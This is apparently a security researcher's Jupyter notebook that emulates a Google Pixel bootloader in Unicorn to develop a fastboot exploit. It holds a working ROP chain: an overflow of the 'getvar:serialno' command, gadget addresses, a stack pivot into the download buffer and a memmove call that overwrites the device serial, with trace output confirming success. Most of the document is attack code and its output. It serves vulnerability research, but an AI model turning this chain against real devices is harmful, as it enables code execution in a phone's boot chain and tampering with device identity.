{ "cells": [ { "cell_type": "code", "execution_count": 6, "id": "62ff0c2b-4b1a-4292-a554-3bc44790813c", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "/home/josh/.pyenv/shims/python\n", "Available kernels:\n", " pyenv /home/josh/.local/share/jupyter/kernels/pyenv\n", " python2 /home/josh/.local/share/jupyter/kernels/python2\n", " python3 /home/josh/.local/share/jupyter/kernels/python3\n", " venv /home/josh/.local/share/jupyter/kernels/venv\n" ] } ], "source": [ "# Derived from https://github.com/eshard/pixel6-boot/blob/main/run_abl_public.ipynb\n", "# python -m ipykernel install --user --name=pyenv --display-name \"Python 3 (pyenv)\"\n", "# switch to Python 3 (pyenv) kernel\n", "!echo $VIRTUAL_ENV\n", "!which python\n", "!jupyter kernelspec list\n" ] }, { "cell_type": "code", "execution_count": 7, "id": "df4383b0-33e9-4674-a166-6b8236fcec21", "metadata": {}, "outputs": [], "source": [ "#%load_ext autoreload\n", "#%autoreload 2\n", "\n", "from unicorn import *\n", "from unicorn.arm64_const import *\n", "import unicorn.arm_const\n", "import struct\n", "import capstone\n", "import keystone\n", "import pwn" ] }, { "cell_type": "code", "execution_count": 8, "id": "09c964f7-cc54-4ff1-af79-aa2abc3e8cac", "metadata": {}, "outputs": [], "source": [ "\n", "disassembler = capstone.Cs(capstone.CS_ARCH_ARM64,capstone.CS_MODE_ARM)\n", "def disas(code, addr):\n", " insn = None\n", " for insn in disassembler.disasm(code, addr):\n", " print(\"0x%x:\\t%s\\t%s\" % (insn.address, insn.mnemonic, insn.op_str))\n", " return insn\n", " \n", "def gen_shellcode(data,address):\n", " ks = keystone.Ks(keystone.KS_ARCH_ARM64,keystone.KS_MODE_LITTLE_ENDIAN)\n", " ret=ks.asm(data,address)\n", " return bytes(ret[0])" ] }, { "cell_type": "code", "execution_count": 9, "id": "a547ffad-e3ef-4fb9-b870-128963a8cc09", "metadata": {}, "outputs": [], "source": [ "\n", "with open(\"abl_220205\",\"rb\") as f:\n", " data=f.read()\n", "\n", "# function addresses abl 22\n", "fastboot_read = 0xFFFF0000F8871E18\n", "download_buffer = 0xffff000090700000 \n", "__debug_stdio_write = 0xFFFF0000F88A7898\n", "fastboot_write = 0xFFFF0000F8871E94\n", "pixel_loader_entry_run = 0xFFFF0000F8813AD4\n", "stop_fastboot = 0xFFFF0000F8ACBD20\n", "fastboot_read_ret = 0xFFFF0000F8871E4C\n", "serial_addr = 0xFFFF0000F8AC0058\n", "\n", "# abl 22 - these functions create threads and have side effects so we effectively nop them out\n", "start_app = 0xFFFF0000F88105A0 # abl 22\n", "fastboot_menu_start = 0xFFFF0000F887BE94 # abl22\n", "\n", "ABL_LOAD_ADDRESS = 0xFFFF0000F8800000\n", "MEMORY_START = 0xFFFF0000F8000000\n", "MEMORY_SIZE = 200*1024*1024\n", "STACK_START = MEMORY_START + MEMORY_SIZE - 0x1000\n", "last_address = 0\n", "\n", "def print_stack(uc,num=10):\n", " sp = uc.reg_read(UC_ARM64_REG_SP)\n", " #sp -= (8*2)\n", " print(f\"## STACK DUMP ##\\nSP: {sp:x}\")\n", " for i,s in enumerate(range(sp,sp+(num*8),8)):\n", " if sp != 0:\n", " v = struct.unpack(\"Q\",uc.mem_read(s,8))[0]\n", " print(f\"@{s:x} {v:x} - #{i*8:x}\")\n", " print(\" \")\n", "\n", "def print_regs(uc):\n", " print(\" \")\n", " print(f\"## REGISTERS ##\")\n", " for reg in [\"X0\",\"X1\",\"X2\",\"X3\",\"X8\",\"X19\",\"X20\",\"X21\",\"X22\",\"X23\",\"X24\",\"X28\",\"X29\",\"X30\",\"SP\",\"PC\"]:\n", " val = eval(f\"uc.reg_read(UC_ARM64_REG_{reg})\")\n", " print(f\"{reg} - {val:8X}\\n\",end=\"\")\n", " print(\"\")\n", "\n", "# callback for tracing basic blocks\n", "def hook_block(uc, address, size, user_data):\n", " print(\">>> Tracing basic block at 0x%x, block size = 0x%x\" %(address, size))\n", "\n", " \n", "# ABL220205\n", "#0xffff0000f8818e78: # DIRECT MATCH WITH ABL21\n", "# ldp x29, x30, [sp], #0x10; \n", "# ret;\n", "#\n", "#0xffff0000f8815a84: # DIRECT MATCH WITH ABL21\n", "# mov sp, x29; \n", "# ldp x20, x19, [sp, #0x30]; \n", "# ldp x22, x21, [sp, #0x20]; \n", "# ldp x24, x23, [sp, #0x10];\n", "# ldp x29, x30, [sp], #0x40;\n", "# ret; \n", "#\n", "#0xffff0000f880c924: # DIRECT MATCH WITH ABL21\n", "# ldp x20, x19, [sp, #0x30]; \n", "# ldp x22, x21, [sp, #0x20];\n", "# ldp x24, x23, [sp, #0x10];\n", "# ldp x29, x30, [sp], #0x40; \n", "# ret;\n", "#\n", "#0xffff0000f8884684: # DIRECT MATCH WITH ABL21\n", "# ldr x1, [x23, #0x10];\n", "# mov x0, x21;\n", "# mov x2, x20;\n", "# blr x22; \n", "\n", "#0xFFFF0000F887E2D4 # DIRECT MATCH WITH ABL21\n", "# ROM:FFFF0000F887E2D4 BL memmove ; Branch with Link\n", "# ROM:FFFF0000F887E2D8 MOV W0, WZR ; Rd = Op2\n", "# ROM:FFFF0000F887E2DC LDP X29, X30, [SP+var_s0],#0x10 ; Load Pair\n", "# ROM:FFFF0000F887E2E0 RET ; Return from Subroutine\n", " \n", "# callback for tracing instructions\n", "def hook_code(uc, address, size, user_data):\n", " global commands\n", " global last_address\n", " rop_addresses = [\n", " #0xFFFF0000F8871E4C, # ret instruction that triggers our overflow\n", " 0xffff0000f8815a84, # first rop gadget\n", " 0xffff0000f8815a84, # stack pivot gadget\n", " 0xffff0000f880c924, # stack pivot gadget (to control registers and call)\n", " 0xffff0000f8884684, # to set x0 etc\n", " 0xFFFF0000F887E2D4, # call memove\n", " ]\n", " \n", " # trace our rop addresses \n", " if(address in rop_addresses or address == last_address+4):\n", " i = disas(uc.mem_read(address,size),address)\n", " \n", " if(i.mnemonic == \"ret\" or i.mnemonic[:2] == \"bl\"):\n", " #print(\"at ret\")\n", " print_regs(uc)\n", " print_stack(uc)\n", " \n", " # did memmove work? Has serial been updated\n", " serial = mu.mem_read(serial_addr, 16); \n", " serial = serial.decode(\"utf-8\")\n", " print(f\"Checking serial: {serial}\\n\") \n", " #commands.append(b\"getvar aaa\")\n", " \n", " #uc.emu_stop()\n", " last_address = address\n", " #else:\n", " # i = disas(uc.mem_read(address,size),address)\n", " \n", "def hook_intr(uc, intno, user_data):\n", " print(\"\\n##### INTERRUPT\")\n", " \n", " # abl 22 - patch to skip smc\n", " pc = uc.reg_read(UC_ARM64_REG_PC)\n", " disas(uc.mem_read(pc,4),pc);\n", " \n", " print(f\"^ Got interrupt {intno:02x} {pc:02x}. Skipping instruction.\\n\");\n", " uc.reg_write(UC_ARM64_REG_PC,pc+4)\n", " #uc.emu_stop()\n", " return True\n", "\n", "def hook_mem_invalid(uc,uc_mem_type,addr,size,value,user_data):\n", " print(\"\\n############################################\")\n", " pc = uc.reg_read(UC_ARM64_REG_PC)\n", " print(f\"INVALID MEMORY @{pc:08X} {addr:08x} {size:08x} {value:08x}\")\n", " print_regs(uc)\n", " print_stack(uc)\n", " print(\"############################################\\n\")\n", " return False\n", "\n", "#Auto allocate pages of memory of size 10Mega on invalid memory access\n", "PAGE_SIZE=10*1024*1024\n", "def hook_mem_invalid_auto(uc,uc_mem_type,addr,size,value,user_data):\n", " pc = uc.reg_read(UC_ARM64_REG_PC)\n", " start = addr & ~(PAGE_SIZE-1)\n", " print(f\"~~~~~~~~~~~~~~ mu.mem_map(0x{start:08x}, PAGE_SIZE)\")\n", " mu.mem_map(start,PAGE_SIZE)\n", " return True\n", " \n", "def hook_fastboot_read(uc,address,size,user_data):\n", " #print(\"In fb_read\")\n", " dest = mu.reg_read(UC_ARM64_REG_X0)\n", " size = mu.reg_read(UC_ARM64_REG_X1)\n", " num_read = mu.reg_read(UC_ARM64_REG_X2)\n", "\n", " global commands\n", " if len(commands):\n", " command = commands.pop(0)\n", " else:\n", " command = None\n", " \n", " if command == b\"outofloop\" or not command:\n", " print(\">>> Exiting\\n\")\n", " #Once we are done, set stop_fastboot to 0 and log instructions\n", " uc.mem_write(stop_fastboot,struct.pack(\"Q\",1))\n", " mu.reg_write(UC_ARM64_REG_X0,0xFFFFFFF0)\n", " uc.reg_write(UC_ARM64_REG_PC,fastboot_read_ret)\n", " else:\n", " print(\">>> fastboot_read:\") # ,hex(dest),hex(size),hex(num_read))\n", " #print_stack(uc)\n", " mu.mem_write(num_read,struct.pack(\"Q\",len(command)))\n", " mu.mem_write(dest,command)\n", " mu.reg_write(UC_ARM64_REG_X0,0)\n", " uc.reg_write(UC_ARM64_REG_PC,fastboot_read_ret)\n", " \n", "def hook_fprintf_output(uc,address,size,user_data):\n", " data = mu.reg_read(UC_ARM64_REG_X0)\n", " s = mu.mem_read(data,50)\n", " size = mu.reg_read(UC_ARM64_REG_X1)\n", " dunno = mu.reg_read(UC_ARM64_REG_X2)\n", " d = mu.mem_read(dunno,50)\n", " print(\">>> hook_fprintf_output\",hex(data),s,hex(size),hex(dunno),d)\n", " \n", "def hook_stdio_write(uc,address,size,user_data):\n", " a = mu.reg_read(UC_ARM64_REG_X0)\n", " b = mu.reg_read(UC_ARM64_REG_X1)\n", " c = mu.reg_read(UC_ARM64_REG_X2)\n", " b = mu.mem_read(b,c)\n", " try:\n", " b=b.decode(\"utf-8\")\n", " except Exception as e:\n", " b=\"\"\n", " print(b,end=\"\")\n", " \n", "def hook_fastboot_write(uc,address,size,user_data):\n", " a = mu.reg_read(UC_ARM64_REG_X0)\n", " b = mu.reg_read(UC_ARM64_REG_X1)\n", " \n", " try:\n", " s = mu.mem_read(a,b).decode(\"utf-8\")\n", " except Exception as e:\n", " s=\"\"\n", " print(\"<<<\",s)\n", "\n", "# abl 22 \n", "def hook_start_app(uc,address,size,user_data):\n", " print(\"\\nstart_app hook:\")\n", " pc = uc.reg_read(UC_ARM64_REG_PC)\n", " disas(uc.mem_read(pc,4),pc);\n", " #print(\"\\n\")\n", "\n", "# abl 22 \n", "def hook_fastboot_menu_start(uc,address,size,user_data):\n", " print(\"\\nfastboot_menu_start hook:\")\n", " pc = uc.reg_read(UC_ARM64_REG_PC)\n", " disas(uc.mem_read(pc,4),pc);\n", " print(\"\\n\")\n" ] }, { "cell_type": "code", "execution_count": 10, "id": "339c168c-db77-40d0-b182-e3a064cb96dc", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "partition misc not found\n", "failed to read misc(vendor) partition -2\n", "[ 0.000000] [E] [PXL] could not get charger state -27\n", "[ 0.000000] [I] [PXL] boot voltage threshold=3400mV\n", "\n", "##### INTERRUPT\n", "0xffff0000f880d3e0:\tmov\tx20, x0\n", "^ Got interrupt 0d ffff0000f880d3e0. Skipping instruction.\n", "\n", "\n", "start_app hook:\n", "0xffff0000f88105a0:\tret\t\n", "\n", "fastboot_menu_start hook:\n", "0xffff0000f887be94:\tret\t\n", "\n", "\n", ">>> fastboot_read:\n", "[ 0.000000] [I] [FB] Accept cmd:flashing unlock\n", "<<< INFOdevice already unlocked\n", "<<< OKAY\n", ">>> fastboot_read:\n", "[ 0.000000] [I] [FB] Accept cmd:oem dmesg\n", "<<< OKAY\n", ">>> fastboot_read:\n", "[ 0.000000] [I] [FB] Accept cmd:getvar:serialno\n", "<<< OKAYDAAAAABBBBAAAAAA\n", ">>> fastboot_read:\n", "[ 0.000000] [I] [FB] Accept cmd:\n", "<<< FAILvariable (serialnoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n", ">>> Exiting\n", "\n", "0xffff0000f8815a84:\tmov\tsp, x29\n", "0xffff0000f8815a88:\tldp\tx20, x19, [sp, #0x30]\n", "0xffff0000f8815a8c:\tldp\tx22, x21, [sp, #0x20]\n", "0xffff0000f8815a90:\tldp\tx24, x23, [sp, #0x10]\n", "0xffff0000f8815a94:\tldp\tx29, x30, [sp], #0x40\n", "0xffff0000f8815a98:\tret\t\n", " \n", "## REGISTERS ##\n", "X0 - 0\n", "X1 - 40\n", "X2 - FFFF0001047FEEF0\n", "X3 - 0\n", "X8 - 0\n", "X19 - DEADBEEFDEADBE19\n", "X20 - DEADBEEFDEADBA20\n", "X21 - 4343434343434343\n", "X22 - 4343434343434343\n", "X23 - 4343434343434343\n", "X24 - 4343434343434343\n", "X28 - 0\n", "X29 - 4444444444444444\n", "X30 - FFFF0000F880C924\n", "SP - FFFF000090700040\n", "PC - FFFF0000F8815A98\n", "\n", "## STACK DUMP ##\n", "SP: ffff000090700040\n", "@ffff000090700040 deadbeefdeadbe29 - #0\n", "@ffff000090700048 ffff0000f8884684 - #8\n", "@ffff000090700050 deadbeefdeadbe24 - #10\n", "@ffff000090700058 ffff000090700070 - #18\n", "@ffff000090700060 ffff0000f887e2d4 - #20\n", "@ffff000090700068 ffff0000f8ac0058 - #28\n", "@ffff000090700070 10 - #30\n", "@ffff000090700078 deadbeefdeadb119 - #38\n", "@ffff000090700080 ffff000090700090 - #40\n", "@ffff000090700088 ffff0000f886fb88 - #48\n", " \n", "Checking serial: DAAAAABBBBAAAAAA\n", "\n", "0xffff0000f880c924:\tldp\tx20, x19, [sp, #0x30]\n", "0xffff0000f880c928:\tldp\tx22, x21, [sp, #0x20]\n", "0xffff0000f880c92c:\tldp\tx24, x23, [sp, #0x10]\n", "0xffff0000f880c930:\tldp\tx29, x30, [sp], #0x40\n", "0xffff0000f880c934:\tret\t\n", " \n", "## REGISTERS ##\n", "X0 - 0\n", "X1 - 40\n", "X2 - FFFF0001047FEEF0\n", "X3 - 0\n", "X8 - 0\n", "X19 - DEADBEEFDEADB119\n", "X20 - 10\n", "X21 - FFFF0000F8AC0058\n", "X22 - FFFF0000F887E2D4\n", "X23 - FFFF000090700070\n", "X24 - DEADBEEFDEADBE24\n", "X28 - 0\n", "X29 - DEADBEEFDEADBE29\n", "X30 - FFFF0000F8884684\n", "SP - FFFF000090700080\n", "PC - FFFF0000F880C934\n", "\n", "## STACK DUMP ##\n", "SP: ffff000090700080\n", "@ffff000090700080 ffff000090700090 - #0\n", "@ffff000090700088 ffff0000f886fb88 - #8\n", "@ffff000090700090 5245535f4c495645 - #10\n", "@ffff000090700098 504f525f4c4149 - #18\n", "@ffff0000907000a0 0 - #20\n", "@ffff0000907000a8 0 - #28\n", "@ffff0000907000b0 0 - #30\n", "@ffff0000907000b8 0 - #38\n", "@ffff0000907000c0 0 - #40\n", "@ffff0000907000c8 0 - #48\n", " \n", "Checking serial: DAAAAABBBBAAAAAA\n", "\n", "0xffff0000f8884684:\tldr\tx1, [x23, #0x10]\n", "0xffff0000f8884688:\tmov\tx0, x21\n", "0xffff0000f888468c:\tmov\tx2, x20\n", "0xffff0000f8884690:\tblr\tx22\n", " \n", "## REGISTERS ##\n", "X0 - FFFF0000F8AC0058\n", "X1 - FFFF000090700090\n", "X2 - 10\n", "X3 - 0\n", "X8 - 0\n", "X19 - DEADBEEFDEADB119\n", "X20 - 10\n", "X21 - FFFF0000F8AC0058\n", "X22 - FFFF0000F887E2D4\n", "X23 - FFFF000090700070\n", "X24 - DEADBEEFDEADBE24\n", "X28 - 0\n", "X29 - DEADBEEFDEADBE29\n", "X30 - FFFF0000F8884684\n", "SP - FFFF000090700080\n", "PC - FFFF0000F8884690\n", "\n", "## STACK DUMP ##\n", "SP: ffff000090700080\n", "@ffff000090700080 ffff000090700090 - #0\n", "@ffff000090700088 ffff0000f886fb88 - #8\n", "@ffff000090700090 5245535f4c495645 - #10\n", "@ffff000090700098 504f525f4c4149 - #18\n", "@ffff0000907000a0 0 - #20\n", "@ffff0000907000a8 0 - #28\n", "@ffff0000907000b0 0 - #30\n", "@ffff0000907000b8 0 - #38\n", "@ffff0000907000c0 0 - #40\n", "@ffff0000907000c8 0 - #48\n", " \n", "Checking serial: DAAAAABBBBAAAAAA\n", "\n", "0xffff0000f887e2d4:\tbl\t#0xffff0000f8876b58\n", " \n", "## REGISTERS ##\n", "X0 - FFFF0000F8AC0058\n", "X1 - FFFF000090700090\n", "X2 - 10\n", "X3 - 0\n", "X8 - 0\n", "X19 - DEADBEEFDEADB119\n", "X20 - 10\n", "X21 - FFFF0000F8AC0058\n", "X22 - FFFF0000F887E2D4\n", "X23 - FFFF000090700070\n", "X24 - DEADBEEFDEADBE24\n", "X28 - 0\n", "X29 - DEADBEEFDEADBE29\n", "X30 - FFFF0000F8884694\n", "SP - FFFF000090700080\n", "PC - FFFF0000F887E2D4\n", "\n", "## STACK DUMP ##\n", "SP: ffff000090700080\n", "@ffff000090700080 ffff000090700090 - #0\n", "@ffff000090700088 ffff0000f886fb88 - #8\n", "@ffff000090700090 5245535f4c495645 - #10\n", "@ffff000090700098 504f525f4c4149 - #18\n", "@ffff0000907000a0 0 - #20\n", "@ffff0000907000a8 0 - #28\n", "@ffff0000907000b0 0 - #30\n", "@ffff0000907000b8 0 - #38\n", "@ffff0000907000c0 0 - #40\n", "@ffff0000907000c8 0 - #48\n", " \n", "Checking serial: DAAAAABBBBAAAAAA\n", "\n", "0xffff0000f887e2d8:\tmov\tw0, wzr\n", "0xffff0000f887e2dc:\tldp\tx29, x30, [sp], #0x10\n", "0xffff0000f887e2e0:\tret\t\n", " \n", "## REGISTERS ##\n", "X0 - 0\n", "X1 - FFFF000090700090\n", "X2 - 10\n", "X3 - 0\n", "X8 - FFFF0000F8AC0058\n", "X19 - DEADBEEFDEADB119\n", "X20 - 10\n", "X21 - FFFF0000F8AC0058\n", "X22 - FFFF0000F887E2D4\n", "X23 - FFFF000090700070\n", "X24 - DEADBEEFDEADBE24\n", "X28 - 0\n", "X29 - FFFF000090700090\n", "X30 - FFFF0000F886FB88\n", "SP - FFFF000090700090\n", "PC - FFFF0000F887E2E0\n", "\n", "## STACK DUMP ##\n", "SP: ffff000090700090\n", "@ffff000090700090 5245535f4c495645 - #0\n", "@ffff000090700098 504f525f4c4149 - #8\n", "@ffff0000907000a0 0 - #10\n", "@ffff0000907000a8 0 - #18\n", "@ffff0000907000b0 0 - #20\n", "@ffff0000907000b8 0 - #28\n", "@ffff0000907000c0 0 - #30\n", "@ffff0000907000c8 0 - #38\n", "@ffff0000907000d0 0 - #40\n", "@ffff0000907000d8 0 - #48\n", " \n", "Checking serial: EVIL_SERIAL_ROP\u0000\n", "\n", ">>> PC = 0x0\n" ] } ], "source": [ "\n", "# ABL22\n", "commands=[\n", " b\"flashing unlock\",\n", " b\"oem dmesg\",\n", " b\"getvar:serialno\",\n", " b\"getvar:serialnoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" +\n", " # Initial return address overwrite\n", " # Set X29, X30 (next gadget) to stack-based values that we control\n", " #ROM:FFFF0000F880A988 LDP X29, X30, [SP+var_s0],#0x10 ; Load Pair\n", " #ROM:FFFF0000F880A98C RET ; Return from Subroutine\n", " pwn.p64(0xffff0000f8818e78) +\n", " #pwn.p64(ABL_LOAD_ADDRESS) +\n", " \n", " # pivot SP via X29\n", " #ROM:FFFF0000F881593C MOV SP, X29 ; Rd = Op2\n", " #ROM:FFFF0000F8815940 LDP X20, X19, [SP,#var_s30] ; Load Pair\n", " #ROM:FFFF0000F8815944 LDP X22, X21, [SP,#var_s20] ; Load Pair\n", " #ROM:FFFF0000F8815948 LDP X24, X23, [SP,#var_s10] ; Load Pair\n", " #ROM:FFFF0000F881594C LDP X29, X30, [SP+var_s0],#0x40 ; Load Pair\n", " #ROM:FFFF0000F8815950 RET ; Return from Subroutine\n", " # padding data\n", " pwn.p64(0xDEADBEEFDEADBEEF) +\n", " pwn.p64(0xDEADBEEFDEADBEEF) +\n", " pwn.p64(0xDEADBEEFDEADBEEF) +\n", " pwn.p64(0xDEADBEEFDEADB11F) +\n", " pwn.p64(0xDEADBEEFDEADBAEF) +\n", " pwn.p64(0xDEADBEEFDEADBCCF) +\n", " # pivot our stack to here\n", " pwn.p64(download_buffer) +\n", " # our next payload address (stack pivot)\n", " pwn.p64(0xffff0000f8815a84),\n", " \n", " # ^ set registers (see download_buffer for remaining payload)\n", " # 0xFFFF0000F880C82C: ldp x20, x19, [sp, #0x30]; ldp x22, x21, [sp, #0x20]; ldp x24, x23, [sp, #0x10]; ldp x29, x30, [sp], #0x40; ret;\n", " # 0xFFFF0000F8883B48: ldr x1, [x23, #0x10]; mov x0, x21; mov x2, x20; blr x22;\n", " \n", " #b\"getvar:serialno\",\n", " #b\"flashing unlock\"\n", " ]\n", "\n", "try:\n", " # Initialize emulator in ARM mode\n", " mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)\n", "\n", " # map regions that we need\n", " mu.mem_map(MEMORY_START, MEMORY_SIZE)\n", " mu.mem_map(0xd8000000, PAGE_SIZE)\n", " mu.mem_map(0xf8200000, PAGE_SIZE)\n", " mu.mem_map(0xffffffff19200000, PAGE_SIZE)\n", " mu.mem_map(0xfffffffff8200000, PAGE_SIZE)\n", " mu.mem_map(0xffff000080000000, PAGE_SIZE)\n", " mu.mem_map(0xffff000002000000, PAGE_SIZE)\n", " mu.mem_map(0xffffffff10000000, PAGE_SIZE)\n", " mu.mem_map(0xffffffff17400000, PAGE_SIZE) # abl 2022\n", " mu.mem_map(0x00000000, PAGE_SIZE) # abl 2022\n", " mu.mem_map(download_buffer,1024*1024*5) #download buffer\n", " \n", " # Init SIMD\n", " SIMD_INIT=gen_shellcode(\"mov x1, #(0x3 << 20);msr cpacr_el1, x1;isb;STP Q1, Q2, [SP,#0x10]\",download_buffer)\n", " mu.mem_write(download_buffer, SIMD_INIT)\n", " mu.emu_start(download_buffer, 0, count=3) \n", " \n", " # Our rop chain post pivoting of the stack\n", " MEMMOVE_PAYLOAD = (\n", " (b\"D\"*8) + \n", " #ROM:FFFF0000F880C82C LDP X20, X19, [SP,#0x40+var_10] ; Load Pair\n", " #ROM:FFFF0000F880C830 LDP X22, X21, [SP,#0x40+var_20] ; Load Pair\n", " #ROM:FFFF0000F880C834 LDP X24, X23, [SP,#0x40+var_30] ; Load Pair\n", " #ROM:FFFF0000F880C838 LDP X29, X30, [SP+0x40+var_40],#0x40 ; Load Pair\n", " #ROM:FFFF0000F880C83C RET \n", " pwn.p64(0xffff0000f880c924) # ^\n", " \n", " # registers set by the above rop chain\n", " +(b\"C\"*32)+\n", " pwn.p64(0xDEADBEEFDEADBA20)+ # N/A not used\n", " pwn.p64(0xDEADBEEFDEADBE19)+ # x19\n", " pwn.p64(0xDEADBEEFDEADBE29)+ # x29\n", " pwn.p64(0xFFFF0000f8884684)+ # x30 (PC)\n", " pwn.p64(0xDEADBEEFDEADBE24)+ # x24\n", " pwn.p64(download_buffer+112)+ # x23 (BECOMES X1 (SRC) IN NEXT CHAIN; PTR!) \n", " pwn.p64(0xFFFF0000F887E2D4)+ # x22 (BECOMES PC IN NEXT CHAIN!)\n", " pwn.p64(serial_addr)+ # x21 (BECOMES X0 (DST) IN NEXT CHAIN; RAW)\n", " pwn.p64(0x10)+ # x20 (BECOMES X2 (SIZE) IN NEXT CHAIN)\n", " pwn.p64(0xDEADBEEFDEADB119)+ # X19\n", " # The above is 128 bytes\n", " # pointer to src string\n", " pwn.p64(download_buffer+144) + \n", " # our final return address post memmove\n", " pwn.p64(0xFFFF0000F886FB88) + \n", " # ^\n", " #ROM:FFFF0000F8813EBC ADRL X1, loc_FFFF0000F8814638 ; some_callback\n", " #ROM:FFFF0000F8813EC4 ADD X0, SP, #0x50+exit_code ; exit_code\n", " #ROM:FFFF0000F8813EC8 BL fastboot_run ; Branch with Link\n", " # our new serial (or src data)\n", " (b\"EVIL_SERIAL_ROP\") + (b\"\\x00\") \n", " \n", " # above register data processed by the below chains\n", " #ROM:FFFF0000F8883B48 LDR X1, [X23,#0x10] ; Load from Memory\n", " #ROM:FFFF0000F8883B4C MOV X0, X21 ; Rd = Op2\n", " #ROM:FFFF0000F8883B50 MOV X2, X20 ; Rd = Op2\n", " #ROM:FFFF0000F8883B54 BLR X22 ; Branch and Link Register\n", " \n", " #ROM:FFFF0000F887D798 BL memmove ; Branch with Link\n", " #ROM:FFFF0000F887D79C MOV W0, WZR ; Rd = Op2\n", " #ROM:FFFF0000F887D7A0 LDP X29, X30, [SP+var_s0],#0x10 ; Load Pair\n", " #ROM:FFFF0000F887D7A4 RET ; Return from Subroutine\n", " )\n", " \n", " mu.mem_write(download_buffer, MEMMOVE_PAYLOAD)\n", " \n", " #with open(\"/tmp/download_buffer_abl220205\", \"wb\") as binary_file:\n", " # binary_file.write(MEMMOVE_PAYLOAD)\n", " \n", " #with open(\"/tmp/command_buffer_abl220205\", \"wb\") as binary_file:\n", " # binary_file.write(commands[0])\n", " \n", " # set a serialno (for the sake of emulation)\n", " mu.mem_write(serial_addr, b\"\\x44\\x41\\x41\\x41\\x41\\x41\\x42\\x42\\x42\\x42\\x41\\x41\\x41\\x41\\x41\\x41\\x00\") \n", " \n", " # write machine code to be emulated to memory\n", " mu.mem_write(ABL_LOAD_ADDRESS, data) \n", "\n", " # tracing all basic blocks with customized callback\n", " #mu.hook_add(UC_HOOK_BLOCK, hook_block)\n", "\n", " # tracing all instruction with customized callback\n", " mu.hook_add(UC_HOOK_CODE, hook_code) # code tracing\n", " mu.hook_add(UC_HOOK_INTR, hook_intr) # interrupts\n", " # auto-map invalid memory access where possible \n", " mu.hook_add(UC_HOOK_MEM_INVALID, hook_mem_invalid_auto)\n", " \n", " mu.hook_add(UC_HOOK_CODE, hook_fastboot_read, begin=fastboot_read,end=fastboot_read)\n", " mu.hook_add(UC_HOOK_CODE, hook_stdio_write, begin=__debug_stdio_write,end=__debug_stdio_write)\n", " mu.hook_add(UC_HOOK_CODE, hook_fastboot_write, begin=fastboot_write,end=fastboot_write)\n", " \n", " # abl 22 (we need to nop these out essentially)\n", " mu.hook_add(UC_HOOK_CODE, hook_start_app, begin=start_app,end=start_app) # abl 22\n", " mu.hook_add(UC_HOOK_CODE, hook_fastboot_menu_start, begin=fastboot_menu_start,end=fastboot_menu_start) # abl 22\n", " \n", " # abl 22 - make sure start_app() and GUI functions abort (threads etc)\n", " RET_INST = gen_shellcode(\"ret\",download_buffer)\n", " mu.mem_write(start_app, RET_INST)\n", " mu.mem_write(fastboot_menu_start, RET_INST)\n", " \n", " # Mark stack as N^X. Will throw an error if we try to execute this region \n", " mu.mem_protect(download_buffer, 1024*1024*5, UC_PROT_READ | UC_PROT_WRITE);\n", " \n", " # emulate machine code in infinite time\n", " mu.reg_write(UC_ARM64_REG_SP,STACK_START)\n", " mu.emu_start(pixel_loader_entry_run, 0,count=100000)\n", " pc = mu.reg_read(UC_ARM64_REG_PC) \n", " print(f\">>> PC = 0x{pc:x}\")\n", " \n", "except UcError as e:\n", " print(\"ERROR: %s\" % e)," ] }, { "cell_type": "code", "execution_count": null, "id": "14549e7e-f3bc-4fdf-9801-c866a4be9c08", "metadata": {}, "outputs": [], "source": [] }, { "cell_type": "code", "execution_count": null, "id": "ea35dfbe-035b-49cd-940a-e86172a5f0e6", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3 (pyenv)", "language": "python", "name": "pyenv" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.10.0" } }, "nbformat": 4, "nbformat_minor": 5 }